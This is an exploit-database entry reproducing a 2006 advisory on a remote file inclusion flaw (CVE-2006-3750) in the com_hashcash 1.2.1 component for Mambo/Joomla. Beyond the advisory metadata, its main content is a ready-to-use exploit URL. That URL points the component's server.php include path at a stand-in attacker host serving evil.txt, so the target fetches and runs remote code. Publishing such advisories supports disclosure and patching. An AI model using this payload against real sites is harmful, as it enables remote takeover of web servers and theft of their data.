Mambo Component com_hashcash 1.2.1 - Remote File Inclusion



EKU-ID: 10043 CVE: OSVDB-27424;CVE-2006-3750 OSVDB-ID:
Author: Matdhule Published: 2006-07-17 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Hashcash Component

Author          : Ahmad Maulana a.k.a Matdhule
Date            : July 12th 2006
Location        : Indonesia, Jakarta
Web             : http://advisories.echo.or.id/adv/adv38-matdhule-2006.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
------------------------------------------------------------------------

Application     : com_hashcash Component
version         : 1.2.1
URL             : http://developer.joomla.org/sf/frs/do/viewRelease/projects.com_hashcash/frs.components.com_hashcash

Exploit:
http://[target]/[path]/components/com_hashcash/server.php?mosConfig_absolute_path= http://attacker.com/evil.txt?

# milw0rm.com [2006-07-17]